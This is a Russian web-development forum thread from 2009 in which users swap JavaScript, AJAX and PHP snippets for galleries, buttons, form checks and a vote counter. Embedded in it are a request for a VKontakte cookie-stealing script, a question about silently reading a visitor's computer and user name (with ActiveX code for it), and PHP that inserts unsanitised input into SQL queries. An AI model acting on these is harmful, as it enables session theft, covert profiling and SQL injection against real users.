<html>
<a name="pic"><img src="/i/pic/47.jpg" /></a>
<table>
<tr>
<td><a href="?id=26#pic"> <img src="/i/pic/sml/26.jpg" /></a></td>
<td><a href="?id=28#pic"> <img src="/i/pic/sml/28.jpg" /></a></td>
<td><a href="?id=30#pic"> <img src="/i/pic/sml/30.jpg" /></a></td>
<td><a href="?id=31#pic"> <img src="/i/pic/sml/31.jpg" /></a></td>
<td><a href="?id=32#pic"> <img src="/i/pic/sml/32.jpg" /></a></td>
<td><a href="?id=34#pic"> <img src="/i/pic/sml/34.jpg" /></a></td>
</tr>
<tr>
<td><a href="?id=38#pic"> <img src="/i/pic/sml/38.jpg" /></a></td>
<td><a href="?id=41#pic"> <img src="/i/pic/sml/41.jpg" /></a></td>
<td><a href="?id=44#pic"> <img src="/i/pic/sml/44.jpg" /></a></td>
<td><a href="?id=47#pic"> <img src="/i/pic/sml/47.jpg" /></a></td>
<td><a href="?id=48#pic"> <img src="/i/pic/sml/48.jpg" /></a></td>
<td>&nbsp;</td>
</tr>
</table>
</html>

Т.е. кликая по маленькому изображению в таблице мы получаем большую картинку над таблицей.
Как можно реализовать загрузку этого большого изображений AJAX'ом?

diGriz
09.09.2009, 13:39
2 Gray_Wolf
Например, с помощью lightbox (http://leandrovieira.com/projects/jquery/lightbox/) или аналогичных плагинов.

http://jsimagebox.ru/

Gray_Wolf
09.09.2009, 14:03
2 Gray_Wolf
Например, с помощью lightbox (http://leandrovieira.com/projects/jquery/lightbox/) или аналогичных плагинов.

http://jsimagebox.ru/
Это несовсем то, что я ищу.
Мне нужен AJAX для ускорения работы, а не для пафоса...

Все большие(как и маленькие) изображения у меня одного размера, и метровые библиотеки мнебы нехотелось бы подцеплять ради стандартной задачи...

Ser_UFL
09.09.2009, 21:47
Актуально, помогите плз.
http://forum.antichat.ru/showpost.php?p=1506377&postcount=1809

FireFenix
10.09.2009, 00:56
Актуально, помогите плз.
http://forum.antichat.ru/showpost.php?p=1506377&postcount=1809
За тебя никто ничего делать не будет... твои вопросы - самая основа программирования и ничего сверхъестественного.... тебе нужно? - значит читай книги и изучай программирование.....
Книги можно найти в разделе Book или у www.google.ru

Это несовсем то, что я ищу.
Мне нужен AJAX для ускорения работы, а не для пафоса...

Все большие(как и маленькие) изображения у меня одного размера, и метровые библиотеки мнебы нехотелось бы подцеплять ради стандартной задачи...
Нафиг те аякс? Грузи в скрытые дивы или в JS создавай объект Image, делай предзагрузку и выводи на экран

Как это реализовывается? - google.ru -> предзагрузка картинок

m0Hze
10.09.2009, 13:45
Собственно что нужно.
Имеем див,посередине страницы,например 100px x 100px,в нем 2 кнопки,да и нет.Необходимо,чтобы при наведении на кнопку Нет - она убегала,как в сбербанках стоит развлекалка.Тоесть на кнопку нет - нажать нельзя.Она все время убегает от мыши.Думаю идя понятна.Естевственно + с меня.

Gray_Wolf
10.09.2009, 14:15
Вот один из вариантов:

<script type="text/javascript">
var flag = 1;
function t(){
if (flag == 1) N.style.left = "250px";
if (flag == 2) N.style.left = "100px";
if (flag == 3) N.style.left = "200px";
flag = flag + 1;
if (flag == 4) flag = 1;
}
function al()
{alert(" иначе и быть не могло! ")}
</script>
<style type="text/css">
#center{
position: relative;
width:100px;
height:100px;
margin: auto;
absolute;
margin:-50px -50px 0;
top:50%;
left:50%;
}
</style>
<div id="center">
Вам понравился наш сайт?<br />
<button onclick="al()">Да</button>
<button style="position: relative; left: 40px;" onmouseover="t()" id="N">Нет</button></a>
</div>


Ну или скрипт можно повесить попроще:

<script type="text/javascript">
function t(){
N.style.left = Math.floor(Math.random()*151);
N.style.top = Math.floor(Math.random()*151);
}
function al()
{alert(" иначе и быть не могло! ")}
</script>

m0Hze
10.09.2009, 14:29
Вот один из вариантов:

<script type="text/javascript">
var flag = 1;
function t(){
if (flag == 1) N.style.left = "250px";
if (flag == 2) N.style.left = "100px";
if (flag == 3) N.style.left = "200px";
flag = flag + 1;
if (flag == 4) flag = 1;
}
function al()
{alert(" иначе и быть не могло! ")}
</script>
<style type="text/css">
#center{
position: relative;
width:100px;
height:100px;
margin: auto;
absolute;
margin:-50px -50px 0;
top:50%;
left:50%;
}
</style>
<div id="center">
Вам понравился наш сайт?<br />
<button onclick="al()">Да</button>
<button style="position: relative; left: 40px;" onmouseover="t()" id="N">Нет</button></a>
</div>


Ну или скрипт можно повесить попроще:

<script type="text/javascript">
function t(){
N.style.left = Math.floor(Math.random()*151);
N.style.top = Math.floor(Math.random()*151);
}
function al()
{alert(" иначе и быть не могло! ")}
</script>

1) необходимо чтобы мышка ходило не только в сторону но также внизу вверх,смотря с какой стороны к ней приближаеться мышка.И естевственно она должна ходить не по алгориту,а произвольно.
А так все супер,спасибо.Только необходимо доделать пунктики =)

Gray_Wolf
10.09.2009, 14:43
1) необходимо чтобы мышка ходило не только в сторону но также внизу вверх
замените функцию t() на ту что я написал во втором скрипте.

И естевственно она должна ходить не по алгориту,а произвольно.
Это вы намекаете что кто-то уже придумал генератор "истинно случайных чисел"?

Flcn
10.09.2009, 16:18
эм.. есть банальный вопрос.. как узнать цвет определённой точки на экране? (window)
а то склероз одаллел.. а гугль не помог..

Gray_Wolf
10.09.2009, 16:39
эм.. есть банальный вопрос.. как узнать цвет определённой точки на экране? (window)
а то склероз одаллел.. а гугль не помог..
Как бы JavaScript сам по себе не может делать подобного...

Как вариант, можно при загрузке изображения в PHP создавать матрицу цветов пикселей, а потом при наведении выводить результат ТуллТипом...

Flcn
10.09.2009, 16:43
эт печально =(
а то у меня банально есть куча фигурок и надо бы узнать их rgb..

пробовал через матрицу на яваскрипте.. но это было фатально для скорости

FireFenix
10.09.2009, 16:46
эт печально =(
а то у меня банально есть куча фигурок и надо бы узнать их rgb..

пробовал через матрицу на яваскрипте.. но это было фатально для скорости
Если пишешь типа игры.... то что мешает цвет задавать для каждой фигурки? и при наведении выводить это свойство

Flcn
10.09.2009, 17:16
FireFenix
у меня всё немного подругому.
в общем если упростить то у меня на экране появляются х (100) квадратов. у каждого рандомный цвет и рандомная длинна (до 100), ну и положение.. всё на ООП. каждый квадрат эт объект... охото чтоюы квадраты не появлялись друг на друге. тоесть надо надо брать всю площадь будующего квадрата и смотреть нет ли там чего инородного.. сначало была матрица of boolean но она шибко всё грузила.... а щас хотелосьбы сделать так что после получением рандомных координат/размеров я в цикле быстро проверял эту область на цвет не равный какойнить пересенно backCol и тд.. видимо придётся про это забыть )

FireFenix
10.09.2009, 18:58
FireFenix
у меня всё немного подругому.
в общем если упростить то у меня на экране появляются х (100) квадратов. у каждого рандомный цвет и рандомная длинна (до 100), ну и положение.. всё на ООП. каждый квадрат эт объект... охото чтоюы квадраты не появлялись друг на друге. тоесть надо надо брать всю площадь будующего квадрата и смотреть нет ли там чего инородного.. сначало была матрица of boolean но она шибко всё грузила.... а щас хотелосьбы сделать так что после получением рандомных координат/размеров я в цикле быстро проверял эту область на цвет не равный какойнить пересенно backCol и тд.. видимо придётся про это забыть )
предположим каждый квадрат - элемент таблицы/див с id="quad_n" где n это его номер n = [1,100] (размер 10*10) с параметром "background:#цвет"

obj = getElementById('quad_' + n);

1) При наведении мышкой отлавливаем позицию window.event.clientY и window.event.clientX, получаем obj.offsetTop и obj.offsetLeft (если вложено - то прибавляем смещение вложений)
потом если курсор находится в области квадратика, то выдаём obj.style.background

2) Как вариант - навесить на каждый квадратик onClick и передавать имя элемента и потом выводить уже свойство через функу по имени объекта
типа :

<script>

function my_color(name)
{
var obj = document.getElementById(name);
alert(obj.style.color);

//также можно добавить ещё требухи
//или если нужен тока цвет.....
//можно вызывать как onClick="javasciprt:alert(this.style.background);"
}

</script>
<div id="quad_1" style="background:blue" onClick="javascript:my_color(this.id)">Я синий</div>
<div id="quad_2" style="background:red" onClick="javascript:my_color(this.id)">Я красный</div>
<div id="quad_3" style="background:green" onClick="javascript:my_color(this.id)">Я зелёный</div>

Естесно я показал не квадратики.... но главное смысл! =)

Gray_Wolf
10.09.2009, 19:14
2Flcn а если сохранять все координаты в 3-х мерном массиве (x,y,h) и рекурсивно проверять место куда собираетесь добавить новый квадрат...
Т.е. если у нас есть что-то вроде:
<?php
function addSquare($id)
{
$x=rand;
$y=rand;
$h=rand(1,100);
if (checkCoords($x,$y,$h)) $squares[$id] = new square($x,$y,$h);
}
?>
То функция checkCoords() лезет в глобальный массив с координатами всех предыдущих квадратов и проверяет нет ли пересечений...

Ser_UFL
10.09.2009, 19:17
Актуально, помогите плз.
http://forum.antichat.ru/showpost.php?p=1506377&postcount=1809
За тебя никто ничего делать не будет... твои вопросы - самая основа программирования и ничего сверхъестественного.... тебе нужно? - значит читай книги и изучай программирование.....
Книги можно найти в разделе Book или у www.google.ru
Спасибо за совет. Где искать книги, я знаю. Я попытался переделать по примерам других скриптов, но у меня не вышло. Поэтому я написал готовый скрипт и попросил лишь немного его переделать. Кто-то на этом собаку съел и для них это дело нескольких минут, учитывая, что задача несложная. А изучать JS к сожалению нет времени. Всё-таки надеюсь на помощь.

astrologer
10.09.2009, 20:45
Ser_UFL, <script type="text/javascript">

function steamIdToLink(steamId)
{
var
parts = steamId.split(':'),

server = +parts[1],
authId = +parts[2],

profile = [7656119, 7960265728 + authId * 2 + server].join('');

return '<a href="http://steamcommunity.com/profiles/' + profile + '">'
+ steamId +
'</a>';
};

document.writeln( steamIdToLink('STEAM_0:1:12345678') );

</script>

Ser_UFL
11.09.2009, 19:39
astrologer, благодарю. Всё отлично.

AVIRA
12.09.2009, 18:56
кто подскажет как зставвить это работать?

Code
<script language='JavaScript'>**
for (i=0; i < document.links.length; i ++) {**
str=document.links[i].href;**
str = str.replace(/87.119./ig,"85.237.");**
document.links[i].href = str;**
}**
Tagstr = document.getElementsByTagName('a');**
for (n=0; n<Tagstr.length; n ++){**
str = Tagstr[n].innerHTML;**
str = str.replace(/87.119./ig,"85.237.");**
Tagstr[n].innerHTML = str;**
}**
</script>

FireFenix
12.09.2009, 19:13
убрать звёздочки?

Большой джо
12.09.2009, 19:22
<html>
<head>
<script language="javascript">
function getXmlHttp(){
try {
return new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
} catch (ee) {
}
}
if (typeof XMLHttpRequest!='undefined') {
return new XMLHttpRequest();
}
}
function request(url) {
var xmlhttp = getXmlHttp();
xmlhttp.open('GET', url);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4){document.getElementById('incl').innerHTML=xmlht tp.responseText;}
}
xmlhttp.send(null);
}
</script>
</head>
<body>
<div id="incl"></div>
<input type=button onclick=request('http://test.ru') value="Press">
</body>
</html>

не как не могу понять в чём проблема, по идее, должен быть запрос на test.ru, и поулчить от туда инфу, а идёт запрос без возврата данных, хрень какая то

KaMiKadZe
12.09.2009, 19:53
А оно вроде и не должно работать =)
Только скриптам можно посылать вроде данные...
Во всяком случае на jQuery проверил
$.get
$.post
.load
Они по ссылкам ничего не загрузили, только скрипты из своей и дочерних папок...

FireFenix
12.09.2009, 19:58
не как не могу понять в чём проблема, по идее, должен быть запрос на test.ru, и поулчить от туда инфу, а идёт запрос без возврата данных, хрень какая то


<script language="javascript">

function Inint_AJAX()
{
try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} //IE
try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
try { return new XMLHttpRequest(); } catch(e) {} //Native Javascript

alert("XMLHttpRequest not supported");
return null;
}

function request(url)
{
var ajax = Inint_AJAX();

ajax.onreadystatechange = function ()
{
if ((ajax.readyState == 4) && (ajax.status == 200))
{
var text = ajax.responseText.toString();

document.getElementById('incl').innerHTML = text;
}
};

ajax.open('GET', url);
ajax.send(null);

}
</script>

<input type="button" onClick="javascript:request('http://localhost/');" value="Press">
<div id="incl"></div>

будет работать тока вдоль 1 домена.... если лезть на другие - политика прав не разрешит и вызовет ошибку

Большой джо
12.09.2009, 22:43
блин, хренова=) спасибо за помощь!)))

#Wolf#
13.09.2009, 15:52
АП пост #1810 (https://forum.antichat.ru/showpost.php?p=1508760&postcount=1810)

Pashkela
13.09.2009, 16:13
2 #Wolf#:

тут (http://corpocrat.com/wp-content/uploads/2009/08/bbeditor_v1_4.zip) - 5кб

Lexa73
13.09.2009, 17:01
КАк создать скрипт вконтакте чтоб воровал куки и начинался с javascript

Nova
13.09.2009, 20:26
Маленький вопрос.
как сделать такую форум на ajax

Услуга1 Услуга2 Услуга3
Тип 1 Тип2 Тип3

Если пользователь выбирает , услугу1 то появляется выпадающее меню со значениями тип1 , если выбирает услуга2 , то появляется выпадающее меню с типом товара2 итд...

Можно пример плз ?

FireFenix
13.09.2009, 20:38
index.html

<script language="javascript">

function Inint_AJAX()
{
try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} //IE
try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
try { return new XMLHttpRequest(); } catch(e) {} //Native Javascript
alert("XMLHttpRequest not supported");
return null;
}

function change(value)
{
var elem = document.getElementById('type');

var req = Inint_AJAX();

req.onreadystatechange = function ()
{
if (req.readyState == 4)
{
if (req.status == 200)
{
var text = req.responseText.toString(); //retuen value

elem.innerHTML = text;
}
}
};

req.open('GET', 'ajax.php?type=' + value, true); //make connection
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;charset=cp1251'); // set Header
req.send(null); //send value
}

</script>

<select id="select" onChange="javascript:change(this.value);">
<option></option>
<option value="1">Тип 1</option>
<option value="2">Тип 2</option>
<option value="3">Тип 3</option>
</select>
<br>
<br>
<select id="type"></select>

ajax.php

<?php

if (strlen($_GET['type']) > 0)
{
switch($_GET['type'])
{
case '1':
$result = '<option>Услуга 1.1</option><option>Услуга 1.2</option>';
break;

case '2':
$result = '<option>Услуга 2.1</option><option>Услуга 2.2</option>';
break;

case '3':
$result = '<option>Услуга 3.1</option><option>Услуга 3.2</option>';
break;
}
}

echo(iconv('WINDOWS-1251', 'UTF-8', $result));

?>

Ну т.е. я немного местами поменял Тип/Услуга =)

m0Hze
14.09.2009, 18:02
Имеем обычные сцылки(ahref), при клике на которые,должно появиться окощечко,с нужными мне данныме.При клике на вторую,первое окошечко закрываеться,и показываеться второе.Вот.Желаельно,чтобы это было нечто вроде всплывающих подсказок,только в которых можно спокойно выделять и копировать текст.Спасибо.

Большой джо
14.09.2009, 18:35
Как передать данные посредством ajax методом POST? И это, возможно ли в запросе передать Русские буквы, если да, то как???!)

m0nsieur
14.09.2009, 18:41
Имеем обычные сцылки(ahref), при клике на которые,должно появиться окощечко,с нужными мне данныме.При клике на вторую,первое окошечко закрываеться,и показываеться второе.Вот.Желаельно,чтобы это было нечто вроде всплывающих подсказок,только в которых можно спокойно выделять и копировать текст.Спасибо.

Посмотри этот плагин для jQuery:

__http://dev.iceburg.net/jquery/jqModal/#examples

там с примерами, думаю можно под себя заточить(универсального решения все равно не найдешь..), только вот там по второй ссылке не получится кликнуть, если окно 1-ое не закрыл.

m0Hze
14.09.2009, 18:45
Посмотри этот плагин для jQuery:

__http://dev.iceburg.net/jquery/jqModal/#examples

там с примерами, думаю можно под себя заточить(универсального решения все равно не найдешь..), только вот там по второй ссылке не получится кликнуть, если окно 1-ое не закрыл.
спс,сделал по ихнему примеру)

svesve
15.09.2009, 12:40
есть такая структура
<form name="duty" id="duty">
<select name="uid" id="sel1">...</select>
<select name="uid" id="sel2">...</select>
<select name="uid" id="sel3">...</select>
</form>
Селектов порядка 30

как проверить что во всех селектах значение выбранного optiona не = -1 ??
если значение НЕ -1 то постим форму, если -1 то алерт

m0nsieur
15.09.2009, 14:33
есть такая структура
<form name="duty" id="duty">
<select name="uid" id="sel1">...</select>
<select name="uid" id="sel2">...</select>
<select name="uid" id="sel3">...</select>
</form>
Селектов порядка 30

как проверить что во всех селектах значение выбранного optiona не = -1 ??
если значение НЕ -1 то постим форму, если -1 то алерт

на js пишешь функ
function check_option() {
// эту проверку можно повесить на цикл, чтобы не описывать все 30 элементов.
if (document.getElementById('sel1').value != -1) {
return true; // тогда форма засабмитится
} else {
alert('Введите верные значения!');
return false; // сабмита не будет
}
}

в описание формы добавляешь
<form name="duty" id="duty" onsubmit="return check_option();">

svesve
15.09.2009, 15:58
на js пишешь функ
function check_option() {
// эту проверку можно повесить на цикл, чтобы не описывать все 30 элементов.
if (document.getElementById('sel1').value != -1) {
return true; // тогда форма засабмитится
} else {
alert('Введите верные значения!');
return false; // сабмита не будет
}
}


как быдем менять значение sel1?????????
у нас же sel1 sel2 sel3

покарйне мере у меня не получилось в цикле sel менять

m0nsieur
15.09.2009, 17:02
как быдем менять значение sel1?????????
у нас же sel1 sel2 sel3

покарйне мере у меня не получилось в цикле sel менять


function check_option() {
for (i=1; i<30; i=i+1) {
if (document.getElementById('sel'+i).value == -1) {
alert('Введите верные значения!');
return false; // сабмита не будет
}
}
// если все проверки прошли, то сабмитим.
return true;
}

svesve
15.09.2009, 17:07
for (i=1; i<30; i=i+1) {
if (document.getElementById('sel'+i).value == -1) {
alert('Введите верные значения!');
return false; // сабмита не будет
}
}


сабмит проходит незаивисмо от значений
скрипт не пашет (

m0nsieur
15.09.2009, 17:16
сабмит проходит незаивисмо от значений
скрипт не пашет (
На вот

<script language="javascript">
function check_option() {
for (i=1; i<30; i=i+1) {
if (document.getElementById('sel'+i).value == -1) {
alert('Алерт!');
return false;
}
}
return true;
}
</script>

<html>

<form name="duty" id="duty" onsubmit="return check_option()">
<select name="uid" id="sel1"><option>1</option></select>
<select name="uid" id="sel2"><option>1</option><option>-1</option></select>
<select name="uid" id="sel3"><option>1</option></select>
<input type="submit">
</form>
</html>

svesve
15.09.2009, 17:32
На вот

<script language="javascript">
function check_option() {
for (i=1; i<30; i=i+1) {
if (document.getElementById('sel'+i).value == -1) {
alert('Алерт!');
return false;
}
}
return true;
}
</script>

<html>

<form name="duty" id="duty" onsubmit="return check_option()">
<select name="uid" id="sel1"><option>1</option></select>
<select name="uid" id="sel2"><option>1</option><option>-1</option></select>
<select name="uid" id="sel3"><option>1</option></select>
<input type="submit">
</form>
</html>



Воо Спасибо Мэн! помог +++

m0Hze
15.09.2009, 21:58
Собственно говоря, имеем 2 кнопки - Да и Нет.
Необходимо,чтобы при наведении на Нет - кнопки менялись местами.Соответственно,ког да Жмем на Да - тоничего не происходит,ну или алерт.И да,даже когда кнопки сменились,и на Месте Нет стало Да,то на Да можно было нажать.Тоесть все время сохранялась бы функцианальность Кнопки Да.Независимо от того,где она находиться.Спасибо,с меня +

NuR
15.09.2009, 23:11
Собственно говоря, имеем 2 кнопки - Да и Нет.
Необходимо,чтобы при наведении на Нет - кнопки менялись местами.Соответственно,ког да Жмем на Да - тоничего не происходит,ну или алерт.И да,даже когда кнопки сменились,и на Месте Нет стало Да,то на Да можно было нажать.Тоесть все время сохранялась бы функцианальность Кнопки Да.Независимо от того,где она находиться.Спасибо,с меня +
я тут поговнокодил пять минут, вот что у меня получилось=)

<html>
<body>
<div style='position:absolut'>
<input style='position:absolute' type='button' value='da' id='da' onMouseOver ='swap()'>
<br><br><br>
<input style='position:absolute' type='button' value='net' id='net'>
</div>
<script>
function swap()
{
da1=get_position("absolute","da");
net1=get_position("absolute","net");
setElementPosition("net",da1["left"],da1["top"]);
setElementPosition("da", net1["left"],net1["top"]);
}
function get_position(pos, elemId){
elem = document.getElementById(elemId);
var l = 0;
var t = 0;
if(pos=='absolute'){
while (elem){
l += elem.offsetLeft;
t += elem.offsetTop;
elem = elem.offsetParent;
}
}else{
if(navigator.userAgent.indexOf('Gecko') > -1){
t=elem.style.top;
l=elem.style.left;
t=Number(t.replace("px", ''));
l=Number(l.replace("px", ''));
}else{
t=Number(elem.style.pixelTop);
l=Number(elem.style.pixelLeft);
}
}

return {'left':l, 'top':t};
}
function setElementPosition(elemId,left,top){
var elem = document.getElementById(elemId);
if(navigator.userAgent.indexOf('Gecko') > -1){
elem.style.top=top+'px';
elem.style.left=left+'px';
}else{
elem.style.pixelTop=top;
elem.style.pixelLeft=left;
}
}
</script>
</body>
</html>>

яб ищо повтыкал но пиво кончилось=)

m0Hze
15.09.2009, 23:33
я тут поговнокодил пять минут, вот что у меня получилось=)

<html>
<body>
<div style='position:absolut'>
<input style='position:absolute' type='button' value='da' id='da' onMouseOver ='swap()'>
<br><br><br>
<input style='position:absolute' type='button' value='net' id='net'>
</div>
<script>
function swap()
{
da1=get_position("absolute","da");
net1=get_position("absolute","net");
setElementPosition("net",da1["left"],da1["top"]);
setElementPosition("da", net1["left"],net1["top"]);
}
function get_position(pos, elemId){
elem = document.getElementById(elemId);
var l = 0;
var t = 0;
if(pos=='absolute'){
while (elem){
l += elem.offsetLeft;
t += elem.offsetTop;
elem = elem.offsetParent;
}
}else{
if(navigator.userAgent.indexOf('Gecko') > -1){
t=elem.style.top;
l=elem.style.left;
t=Number(t.replace("px", ''));
l=Number(l.replace("px", ''));
}else{
t=Number(elem.style.pixelTop);
l=Number(elem.style.pixelLeft);
}
}

return {'left':l, 'top':t};
}
function setElementPosition(elemId,left,top){
var elem = document.getElementById(elemId);
if(navigator.userAgent.indexOf('Gecko') > -1){
elem.style.top=top+'px';
elem.style.left=left+'px';
}else{
elem.style.pixelTop=top;
elem.style.pixelLeft=left;
}
}
</script>
</body>
</html>>

яб ищо повтыкал но пиво кончилось=)
Все отлично,но при клике на Да нам бы еще и алерt вывести :)

NuR
16.09.2009, 00:13
проблем то
<input onclick='alert("а вот хрен тебе")' style='position:absolute' type='button' value='da' id='da' onMouseOver ='swap()'>

Chode
17.09.2009, 23:51
Товарищи кто нибудь реализовал псевдо-много поточность через AJAX. Например как на bposter или что-нибудь в этом роде...

Есть какая нибудь инфа? поделитесь пожалуйста...

astrologer
18.09.2009, 20:13
Товарищи, кто-нибудь реализовал псевдо-многопоточность через Ajax? Если ты имеешь ввиду то, что получается в PHP при использовании мультикурла - то такая "псевдо-многопоточность" (чуть более совершенная) присутствует в среде браузерного JS по-умолчанию, это просто сама суть его модели исполнения

Nightmarе
18.09.2009, 22:27
Интересует такой вопрос, можно ли чисто на JavaScript получить имя компа и имя пользователя?

Я знаю что можно сделать через ActiveX, но он скатина требует уведомление пользователя, причём в обязательном порядке вякает про "опастный объект", что меня естестно не устраивает.

А как без всяких уведомлений получить имя компа?

PS: плохой но рабочий код через ActiveX вот:
<script language="JavaScript">
var net = new ActiveXObject("WScript.Network");
var str = net.ComputerName + " " + net.UserName;
document.write(str)</script>

lokus
19.09.2009, 16:02
Мне надо чтобы сначала подменюшки были скрыты,
вот код jq:
$(document).ready(function(){
$('.topmenu ul li').hover(
function() {
$(this).addClass("active");
$(this).find('ul').stop(true, true); // останавливаем всю текущую анимацию
$(this).find('ul').slideDown();
},
function() {
$(this).removeClass("active");
$(this).find('ul').slideUp('fast');
}
);
});
и вот хтмл код:
<div class="topmenu">
<ul>
<li><a href="#" title="Меню 1">Меню 1</a>
<ul>
<li><a href="#" title="Элемент 1.1">Элемент 1.1</a></li>
<li><a href="#" title="Элемент 1.2">Элемент 1.2</a></li>
<li><a href="#" title="Элемент 1.3">Элемент 1.3</a></li>
</ul>
</li>
<li><a href="#" title="Меню 2">Меню 2</a>
<ul>
<li><a href="#" title="Элемент 2.1">Элемент 2.1</a></li>
<li><a href="#" title="Элемент 2.2">Элемент 2.2</a></li>
<li><a href="#" title="Элемент 2.3">Элемент 2.3</a></li>
</ul>
</li>
<li><a href="#" title="Меню 3">Меню 3</a>
<ul>
<li><a href="#" title="Элемент 3.1">Элемент 3.1</a></li>
<li><a href="#" title="Элемент 3.2">Элемент 3.2</a></li>
<li><a href="#" title="Элемент 3.3">Элемент 3.3</a></li>
</ul>
</li>
</ul>
</div>

diGriz
20.09.2009, 10:07
Добавь перед:

$('.topmenu ul li').hover

Эти 2 строчки:

$('.topmenu ul').hide();
$('.topmenu ul:first').show();

restart_05
20.09.2009, 21:25
Вот такой вопрос....
Как можно убрать загрузку с сайта (как в odnoklasniki.ru)
Чтобы не показывало что сайт сейчас грузится

mff
22.09.2009, 11:15
Помогите с голосовалкой :)
Есть код: Голсовать: <a href="#nul" onclick=""><img src="img/yes.gif" width="19" height="19" alt="Да" /></a> <a href="#nul" onclick=""><img src="img/no.gif" width="19" height="19" alt="Нет" /></a><br /> и есть табличка в базе данных:CREATE TABLE `rating` (
`id` int(10) unsigned NOT NULL auto_increment,
`rating` int(10) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ;Задача сделать так, чтобы при нажатии на первую картинку, в базе, в столбце "rating" число прибавлялось на 1 без перезагрузки страницы :)
Помогите плиз разобраться, второй день сижу :( :confused:

L.A.V
22.09.2009, 11:39
все что делается без перезагрузки делается JS.
обясню только смысл, тк времени нет

(накидаю кусков файлов, а там разберешься)
файл ява скрипта выглядит премерно так

function process()
{
// proceed only if the xmlHttp object isn't busy
if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0)
{
// retrieve the name typed by the user on the form
name = encodeURIComponent(document.getElementById("myName").value);
// execute the quickstart.php page from the server
xmlHttp.open("GET", "quickstart.php?name=" + name, true);
// define the method to handle server responses
xmlHttp.onreadystatechange = handleServerResponse;
// make the server request
xmlHttp.send(null);
}
quickstart.php это файл, где будет обработчик (там сделаешь просто изменение записи в rating )
на картинках <a href="#nul" onclick="process()">
и в самом начале файла ссылку на файл ява скрипта. надеюсь понятно все обьяснил. если что пиши, но буду за компом только вечером

mff
22.09.2009, 12:28
Пишу в хэде:<script language="JavaScript">
function process(){
// proceed only if the xmlHttp object isn't busy
if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0)
{
// retrieve the name typed by the user on the form
name = encodeURIComponent(document.getElementById("yes").value);
// execute the quickstart.php page from the server
xmlHttp.open("GET", "rating.php?ch=543&name=" + name, true);
// define the method to handle server responses
xmlHttp.onreadystatechange = handleServerResponse;
// make the server request
xmlHttp.send(null);
alert("rating.php?ch=543&name=" + name);
}
}
</script>тело:
<a href="#nul" onclick="process()"><img id="yes" src="img/yes.gif" width="19" height="19" alt="Да" align="absmiddle" style="margin-right:10px;" /></a> <a href="#nul" onclick="process()"><img id="no" src="img/no.gif" width="19" height="19" alt="Нет" align="absmiddle" /></a> Файл rating.php:
<?php
if($ch){
if(name=="yes"){
$result = mysql_query ("UPDATE `bd` SET `rating`= (rating+1) WHERE `id`='$ch'");
}
if(name=="no"){
$result = mysql_query ("UPDATE `bd` SET `rating`= (rating-1) WHERE `id`='$ch'");
}
}
?>но при нажатии даже адерт не авскакивает. Почему не работает? :confused: :confused: :confused:

FeraS
22.09.2009, 12:36
mff
У тега img нет атрибута value

mff
22.09.2009, 12:39
FeraS, ага, но я пробывал и другие, там ширину передать. Что то нитак всёравно.

FeraS
22.09.2009, 13:22
mff


<script type="text/javascript">
function process() {
if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
name = encodeURIComponent(document.getElementById('yes'). title);
xmlHttp.open("GET", "rating.php?ch=543&name=" + name, true);
xmlHttp.onreadystatechange = handleServerResponse;
xmlHttp.send(null);
alert("rating.php?ch=543&name=" + name);
}
}
</script>



<a href="#nul" onclick="process()"><img id="yes" title="yes" src="img/yes.gif" width="19" height="19" alt="Да" align="absmiddle" style="margin-right:10px;" /></a> <a href="#nul" onclick="process()"><img id="no" title="no" src="img/no.gif" width="19" height="19" alt="Нет" align="absmiddle" /></a>


попробуй

Pashkela
22.09.2009, 15:29
<script>
function SetEnd (TB) {
if (TB.createTextRange){
var FieldRange = TB.createTextRange();
FieldRange.moveStart('character', TB.value.length);
FieldRange.collapse();
FieldRange.select();
}
}
</script>

<form name="form1" action="somepage.asp" method="post">
<input type="text" name="city" value="lol" onfocus="SetEnd(this)">
<input type="submit" value="Submit">
</form>
<script language="JavaScript"> document.forms[0].city.focus(); </script>

mff
22.09.2009, 15:33
mff


<script type="text/javascript">
function process() {
if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
name = encodeURIComponent(document.getElementById('yes'). title);
xmlHttp.open("GET", "rating.php?ch=543&name=" + name, true);
xmlHttp.onreadystatechange = handleServerResponse;
xmlHttp.send(null);
alert("rating.php?ch=543&name=" + name);
}
}
</script>



<a href="#nul" onclick="process()"><img id="yes" title="yes" src="img/yes.gif" width="19" height="19" alt="Да" align="absmiddle" style="margin-right:10px;" /></a> <a href="#nul" onclick="process()"><img id="no" title="no" src="img/no.gif" width="19" height="19" alt="Нет" align="absmiddle" /></a>


попробуйНе, неработает! Нет алерта :(((

L.A.V
22.09.2009, 18:28
у тебя же к процесса, то и функции надо тоже 2 сделать:
1 передает через гет наме=йес
2 передает через гет наме=но

и еще функции не обьявил в обработчике
те вместо name надо $_GET[name]
<?php
if($ch){
if($_GET[name]=="yes"){
$result = mysql_query ("UPDATE `bd` SET `rating`= (rating+1) WHERE `id`='$ch'");
}
if($_GET[name]=="no"){
$result = mysql_query ("UPDATE `bd` SET `rating`= (rating-1) WHERE `id`='$ch'");
}
}
?>

mff
23.09.2009, 03:33
L.A.V Пишет что объект xmlHttp не определен...
Нашел функцию:
function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
} пишу:var xmlhttp = getXmlHttp() и ни фига :(

http://xmlhttprequest.ru/#start

:confused: :confused: :confused:

mff
23.09.2009, 04:28
L.A.V спасибо, всё заработало!

Krist_ALL
25.09.2009, 15:59
ку
мне нужно чтоб выводилась например цифра 1, потм всесто нее 2. итд. числа берутся из пхп скрипта.
мне человек один дал код но он не пашет скажит что не так.

